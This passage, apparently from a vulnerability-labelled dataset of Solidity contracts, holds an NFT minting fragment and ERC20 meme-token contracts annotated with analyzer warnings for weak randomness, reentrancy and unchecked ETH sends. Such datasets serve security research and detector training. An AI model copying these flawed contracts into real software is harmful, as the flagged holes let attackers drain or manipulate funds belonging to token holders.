nftType;\n\n unchecked {\n\t\t\t// weak-prng | ID: 01febd4\n nftType = uint256(uint8(bytes1(seed))) % NFT_SWITCH_INDEX;\n }\n\n if (phase == 1) {\n unchecked {\n nftType += NFT_SWITCH_INDEX;\n }\n }\n\n if (_isNotFull(nftType)) {\n return (nftType, mintInfos[nftType].tokenUri);\n } else {\n uint newIndex = _getAvailableType(nftType, phase);\n\n\t\t\t// timestamp | ID: 302cc16\n require(\n mintInfos[newIndex].currentMinted <\n mintInfos[newIndex].totalSupply,\n \"exceeds the maximum limit of the specify nft type\"\n );\n\n return (newIndex, mintInfos[newIndex].tokenUri);\n }\n }\n\n\t// WARNING Vulnerability (weak-prng | severity: High | ID: 8599b55): Mibr._getAvailableType(uint256,uint256) uses a weak PRNG \"index_scope_0 = uint256(uint8(bytes1(keccak256(bytes)(abi.encodePacked(nftType))))) % typeSet2.length()\" \n\t// Recommendation for 8599b55: Do not use 'block.timestamp', 'now' or 'blockhash' as a source of randomness.\n\t// WARNING Vulnerability (weak-prng | severity: High | ID: 8755a78): Mibr._getAvailableType(uint256,uint256) uses a weak PRNG \"index = uint256(uint8(bytes1(keccak256(bytes)(abi.encodePacked(nftType))))) % typeSet1.length()\" \n\t// Recommendation for 8755a78: Do not use 'block.timestamp', 'now' or 'blockhash' as a source of randomness.\n function _getAvailableType(\n uint256 nftType,\n uint256 phase\n ) internal view returns (uint256) {\n if (phase == 0) {\n\t\t\t// weak-prng | ID: 8755a78\n uint256 index = uint256(\n uint8(bytes1(keccak256(abi.encodePacked(nftType))))\n ) % typeSet1.length();\n\n return typeSet1.at(index);\n } else {\n\t\t\t// weak-prng | ID: 8599b55\n uint256 index = uint256(\n uint8(bytes1(keccak256(abi.encodePacked(nftType))))\n ) % typeSet2.length();\n\n return typeSet2.at(index);\n }\n }\n\n function _isNotFull(uint256 nftType) internal view returns (bool) {\n return\n mintInfos[nftType].currentMinted < mintInfos[nftType].totalSupply;\n }\n\n function _baseURI() internal view override returns (string memory) {\n return baseURI;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cf0cf7e): Mibr._setInitSupply(uint256[]) ignores return value by typeSet2.add(nftType)\n\t// Recommendation for cf0cf7e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: df096d0): Mibr._setInitSupply(uint256[]) ignores return value by typeSet1.add(nftType)\n\t// Recommendation for df096d0: Ensure that all the return values of the function calls are used.\n function _setInitSupply(uint256[] calldata supply_) internal {\n for (uint256 nftType = 0; nftType < supply_.length; nftType++) {\n maxSupply += supply_[nftType];\n\n if (nftType < NFT_SWITCH_INDEX) {\n\t\t\t\t// unused-return | ID: df096d0\n typeSet1.add(nftType);\n\n _maxSupplyPhase[0] += supply_[nftType];\n\n mintInfos.push(\n MintInfo(supply_[nftType], 0, (nftType + 1).toString())\n );\n } else {\n\t\t\t\t// unused-return | ID: cf0cf7e\n typeSet2.add(nftType);\n\n _maxSupplyPhase[1] += supply_[nftType];\n\n mintInfos.push(\n MintInfo(\n supply_[nftType],\n 0,\n (nftType - NFT_SWITCH_INDEX + 1).toString()\n )\n );\n }\n }\n }\n}\n",
"file_name": "solidity_code_10832.sol",
"size_bytes": 59533,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Meizhu is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8b92b2a): Meizhu._taxWallet should be immutable \n\t// Recommendation for 8b92b2a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Meizhu\";\n\n string private constant _symbol = unicode\"MEIZHU\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 0bce1e5): Meizhu._initialBuyTax should be constant \n\t// Recommendation for 0bce1e5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: e09cc4c): Meizhu._initialSellTax should be constant \n\t// Recommendation for e09cc4c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: a8e5401): Meizhu._finalBuyTax should be constant \n\t// Recommendation for a8e5401: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c6ad1e): Meizhu._finalSellTax should be constant \n\t// Recommendation for 7c6ad1e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 86331c5): Meizhu._reduceBuyTaxAt should be constant \n\t// Recommendation for 86331c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: d4c18d6): Meizhu._reduceSellTaxAt should be constant \n\t// Recommendation for d4c18d6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: f895be9): Meizhu._preventSwapBefore should be constant \n\t// Recommendation for f895be9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 030ff31): Meizhu._transferTax should be constant \n\t// Recommendation for 030ff31: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6b560de): Meizhu._taxSwapThreshold should be constant \n\t// Recommendation for 6b560de: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6be352f): Meizhu._maxTaxSwap should be constant \n\t// Recommendation for 6be352f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 84138000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 369deca): Meizhu.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 369deca: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 722ddd6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 722ddd6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f24b084): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f24b084: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 722ddd6\n\t\t// reentrancy-benign | ID: f24b084\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 722ddd6\n\t\t// reentrancy-benign | ID: f24b084\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d0038eb): Meizhu._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d0038eb: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f24b084\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 722ddd6\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c5c5dc8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c5c5dc8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fe78ea3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fe78ea3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: c5c5dc8\n\t\t\t\t// reentrancy-eth | ID: fe78ea3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c5c5dc8\n\t\t\t\t\t// reentrancy-eth | ID: fe78ea3\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: fe78ea3\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: fe78ea3\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: fe78ea3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c5c5dc8\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: fe78ea3\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: fe78ea3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c5c5dc8\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c5c5dc8\n\t\t// reentrancy-events | ID: 722ddd6\n\t\t// reentrancy-benign | ID: f24b084\n\t\t// reentrancy-eth | ID: fe78ea3\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8c621e8): Meizhu.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8c621e8: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c5c5dc8\n\t\t// reentrancy-events | ID: 722ddd6\n\t\t// reentrancy-eth | ID: fe78ea3\n\t\t// arbitrary-send-eth | ID: 8c621e8\n _taxWallet.transfer(amount);\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a480be1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a480be1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8250251): Meizhu.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 8250251: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 72b7773): Meizhu.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 72b7773: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6ef6010): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6ef6010: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: a480be1\n\t\t// reentrancy-eth | ID: 6ef6010\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: a480be1\n\t\t// unused-return | ID: 72b7773\n\t\t// reentrancy-eth | ID: 6ef6010\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: a480be1\n\t\t// unused-return | ID: 8250251\n\t\t// reentrancy-eth | ID: 6ef6010\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: a480be1\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 6ef6010\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10833.sol",
"size_bytes": 20429,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract NEWYEAR is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 05870e5): NEWYEAR._taxWallet should be immutable \n\t// Recommendation for 05870e5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5f99e35): NEWYEAR._initialBuyTax should be constant \n\t// Recommendation for 5f99e35: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2774be3): NEWYEAR._initialSellTax should be constant \n\t// Recommendation for 2774be3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 19;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e3b896a): NEWYEAR._reduceBuyTaxAt should be constant \n\t// Recommendation for e3b896a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: bf4aac9): NEWYEAR._reduceSellTaxAt should be constant \n\t// Recommendation for bf4aac9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 919e2e1): NEWYEAR._preventSwapBefore should be constant \n\t// Recommendation for 919e2e1: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 1;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"2025\";\n\n string private constant _symbol = unicode\"2025\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6c766fa): NEWYEAR._taxSwapThreshold should be constant \n\t// Recommendation for 6c766fa: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7f474fa): NEWYEAR._maxTaxSwap should be constant \n\t// Recommendation for 7f474fa: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint256 private firstBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 87543de): NEWYEAR.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 87543de: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0c4d506): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0c4d506: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2ed64cd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2ed64cd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0c4d506\n\t\t// reentrancy-benign | ID: 2ed64cd\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0c4d506\n\t\t// reentrancy-benign | ID: 2ed64cd\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9989acd): NEWYEAR._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9989acd: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2ed64cd\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0c4d506\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a0006b1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a0006b1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: b8f9467): NEWYEAR._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for b8f9467: Don't use strict equality to determine if an account has enough Ether 